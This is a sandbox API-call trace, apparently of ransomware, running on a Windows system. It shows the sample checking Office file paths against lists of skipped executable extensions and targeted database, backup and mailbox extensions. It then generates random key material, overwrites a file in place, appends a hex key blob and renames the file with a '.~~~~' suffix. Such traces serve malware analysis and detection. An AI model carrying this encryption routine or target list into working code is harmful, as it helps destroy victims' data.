	[0080.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".scr") returned 0x0
	[0080.855] lstrlenW (lpString=".cmd") returned 4
	[0080.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".cmd") returned 0x0
	[0080.855] lstrlenW (lpString=".dll") returned 4
	[0080.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".dll") returned 0x0
	[0080.855] lstrlenW (lpString=".bat") returned 4
	[0080.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".bat") returned 0x0
	[0080.855] lstrlenW (lpString=".cpl") returned 4
	[0080.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".cpl") returned 0x0
	[0080.856] lstrlenW (lpString=".sys") returned 4
	[0080.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".sys") returned 0x0
	[0080.856] lstrlenW (lpString=".msc") returned 4
	[0080.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".msc") returned 0x0
	[0080.856] lstrlenW (lpString=".com") returned 4
	[0080.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".com") returned 0x0
	[0080.856] lstrlenW (lpString=".lnk") returned 4
	[0080.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".lnk") returned 0x0
	[0080.856] lstrlenW (lpString=".msp") returned 4
	[0080.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".msp") returned 0x0
	[0080.856] lstrlenW (lpString=".pif") returned 4
	[0080.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".pif") returned 0x0
	[0080.856] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0080.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0080.912] lstrlenW (lpString=".sqb") returned 4
	[0080.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".sqb") returned 0x0
	[0080.912] lstrlenW (lpString=".ost") returned 4
	[0080.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".ost") returned 0x0
	[0080.912] lstrlenW (lpString=".txt") returned 4
	[0080.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".txt") returned 0x0
	[0080.912] lstrlenW (lpString=".mdt") returned 4
	[0080.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".mdt") returned 0x0
	[0080.912] lstrlenW (lpString=".BDB") returned 4
	[0080.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".BDB") returned 0x0
	[0080.912] lstrlenW (lpString=".eql") returned 4
	[0080.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".eql") returned 0x0
	[0080.912] lstrlenW (lpString=".DBF") returned 4
	[0080.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".DBF") returned 0x0
	[0080.912] lstrlenW (lpString=".EQL") returned 4
	[0080.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".EQL") returned 0x0
	[0080.912] lstrlenW (lpString=".FDB") returned 4
	[0080.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".FDB") returned 0x0
	[0080.912] lstrlenW (lpString=".EDB") returned 4
	[0080.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".EDB") returned 0x0
	[0080.912] lstrlenW (lpString=".DACPAC") returned 7
	[0080.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".DACPAC") returned 0x0
	[0080.912] lstrlenW (lpString=".VHD") returned 4
	[0080.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".VHD") returned 0x0
	[0080.912] lstrlenW (lpString=".DBV") returned 4
	[0080.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".DBV") returned 0x0
	[0080.913] lstrlenW (lpString=".dacpac") returned 7
	[0080.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".dacpac") returned 0x0
	[0080.913] lstrlenW (lpString=".sdf") returned 4
	[0080.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".sdf") returned 0x0
	[0080.913] lstrlenW (lpString=".accdb") returned 6
	[0080.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".accdb") returned 0x0
	[0080.913] lstrlenW (lpString=".DBX") returned 4
	[0080.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".DBX") returned 0x0
	[0080.913] lstrlenW (lpString=".MDT") returned 4
	[0080.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".MDT") returned 0x0
	[0080.913] lstrlenW (lpString=".SQB") returned 4
	[0080.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".SQB") returned 0x0
	[0080.913] lstrlenW (lpString=".vhd") returned 4
	[0080.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".vhd") returned 0x0
	[0080.913] lstrlenW (lpString=".bac") returned 4
	[0080.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".bac") returned 0x0
	[0080.913] lstrlenW (lpString=".mdf") returned 4
	[0080.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".mdf") returned 0x0
	[0080.913] lstrlenW (lpString=".BAK") returned 4
	[0080.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".BAK") returned 0x0
	[0080.913] lstrlenW (lpString=".BAC") returned 4
	[0080.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".BAC") returned 0x0
	[0080.913] lstrlenW (lpString=".dbs") returned 4
	[0080.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".dbs") returned 0x0
	[0080.913] lstrlenW (lpString=".vhdx") returned 5
	[0080.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".vhdx") returned 0x0
	[0080.913] lstrlenW (lpString=".NDF") returned 4
	[0080.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".NDF") returned 0x0
	[0080.913] lstrlenW (lpString=".dat") returned 4
	[0080.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".dat") returned 0x0
	[0080.914] lstrlenW (lpString=".DBS") returned 4
	[0080.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".DBS") returned 0x0
	[0080.914] lstrlenW (lpString=".CKP") returned 4
	[0080.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".CKP") returned 0x0
	[0080.914] lstrlenW (lpString=".edb") returned 4
	[0080.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".edb") returned 0x0
	[0080.914] lstrlenW (lpString=".PST") returned 4
	[0080.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".PST") returned 0x0
	[0080.914] lstrlenW (lpString=".dbf") returned 4
	[0080.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".dbf") returned 0x0
	[0080.914] lstrlenW (lpString=".SQL") returned 4
	[0080.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".SQL") returned 0x0
	[0080.914] lstrlenW (lpString=".pst") returned 4
	[0080.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".pst") returned 0x0
	[0080.914] lstrlenW (lpString=".dbv") returned 4
	[0080.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".dbv") returned 0x0
	[0080.914] lstrlenW (lpString=".SDF") returned 4
	[0080.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".SDF") returned 0x0
	[0080.914] lstrlenW (lpString=".dtxs") returned 5
	[0080.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".dtxs") returned 0x0
	[0080.914] lstrlenW (lpString=".db3") returned 4
	[0080.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".db3") returned 0x0
	[0080.914] lstrlenW (lpString=".OST") returned 4
	[0080.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".OST") returned 0x0
	[0080.914] lstrlenW (lpString=".dbx") returned 4
	[0080.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".dbx") returned 0x0
	[0080.914] lstrlenW (lpString=".DB3") returned 4
	[0080.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".DB3") returned 0x0
	[0080.914] lstrlenW (lpString=".DAT") returned 4
	[0080.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".DAT") returned 0x0
	[0080.915] lstrlenW (lpString=".VHDX") returned 5
	[0080.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".VHDX") returned 0x0
	[0080.915] lstrlenW (lpString=".ndf") returned 4
	[0080.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".ndf") returned 0x0
	[0080.915] lstrlenW (lpString=".DB") returned 3
	[0080.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".DB") returned 0x0
	[0080.915] lstrlenW (lpString=".sql") returned 4
	[0080.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".sql") returned 0x0
	[0080.915] lstrlenW (lpString=".MYD") returned 4
	[0080.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".MYD") returned 0x0
	[0080.915] lstrlenW (lpString=".DBT") returned 4
	[0080.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".DBT") returned 0x0
	[0080.915] lstrlenW (lpString=".ACCDB") returned 6
	[0080.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".ACCDB") returned 0x0
	[0080.915] lstrlenW (lpString=".fdb") returned 4
	[0080.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".fdb") returned 0x0
	[0080.915] lstrlenW (lpString=".bak") returned 4
	[0080.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".bak") returned 0x0
	[0080.915] lstrlenW (lpString=".myd") returned 4
	[0080.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".myd") returned 0x0
	[0080.915] lstrlenW (lpString=".DTXS") returned 5
	[0080.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".DTXS") returned 0x0
	[0080.915] lstrlenW (lpString=".ckp") returned 4
	[0080.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".ckp") returned 0x0
	[0080.915] lstrlenW (lpString=".dbt") returned 4
	[0080.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".dbt") returned 0x0
	[0080.915] lstrlenW (lpString=".db") returned 3
	[0080.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".db") returned 0x0
	[0080.915] lstrlenW (lpString=".TXT") returned 4
	[0080.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".TXT") returned 0x0
	[0080.915] lstrlenW (lpString=".MDF") returned 4
	[0080.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".MDF") returned 0x0
	[0080.916] lstrlenW (lpString=".bdb") returned 4
	[0080.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".bdb") returned 0x0
	[0080.916] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0080.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.916] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394860) returned 1
	[0080.917] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.917] CryptReleaseContext (hProv=0x394860, dwFlags=0x0) returned 1
	[0080.917] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0080.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0080.917] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20090727860) returned 1
	[0080.917] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9a151910, dwHighDateTime=0x1d60e1e)) 
	[0080.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0080.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0080.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0080.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa820
	[0080.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.917] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa820 | out: hHeap=0x300000) returned 1
	[0080.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.918] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0080.918] GetLastError () returned 0x0
	[0080.918] GetLastError () returned 0x0
	[0080.918] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0080.918] GetLastError () returned 0x0
	[0080.918] GetLastError () returned 0x0
	[0080.918] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x567, lpOverlapped=0x0) returned 1
	[0080.920] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffa99, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.920] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x567, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x567, lpOverlapped=0x0) returned 1
	[0080.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0080.920] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.920] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.921] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.921] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.921] CloseHandle (hObject=0x120) returned 1
	[0080.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3a3ee8
	[0080.921] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.~~~~")) returned 1
	[0080.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3ee8 | out: hHeap=0x300000) returned 1
	[0080.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0080.955] GetLastError () returned 0x0
	[0080.955] RtlWakeConditionVariable () returned 0x365f70
	[0080.955] GetCurrentThreadId () returned 0xaf0
	[0080.955] GetCurrentThreadId () returned 0xaf0
	[0080.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0080.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3888 | out: hHeap=0x300000) returned 1
	[0080.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa740 | out: hHeap=0x300000) returned 1
	[0080.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3888
	[0080.955] lstrlenW (lpString=".scr") returned 4
	[0080.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".scr") returned 0x0
	[0080.955] lstrlenW (lpString=".cmd") returned 4
	[0080.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".cmd") returned 0x0
	[0080.955] lstrlenW (lpString=".dll") returned 4
	[0080.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".dll") returned 0x0
	[0080.955] lstrlenW (lpString=".bat") returned 4
	[0080.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".bat") returned 0x0
	[0080.955] lstrlenW (lpString=".cpl") returned 4
	[0080.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".cpl") returned 0x0
	[0080.955] lstrlenW (lpString=".sys") returned 4
	[0080.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".sys") returned 0x0
	[0080.956] lstrlenW (lpString=".msc") returned 4
	[0080.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".msc") returned 0x0
	[0080.956] lstrlenW (lpString=".com") returned 4
	[0080.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".com") returned 0x0
	[0080.956] lstrlenW (lpString=".lnk") returned 4
	[0080.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".lnk") returned 0x0
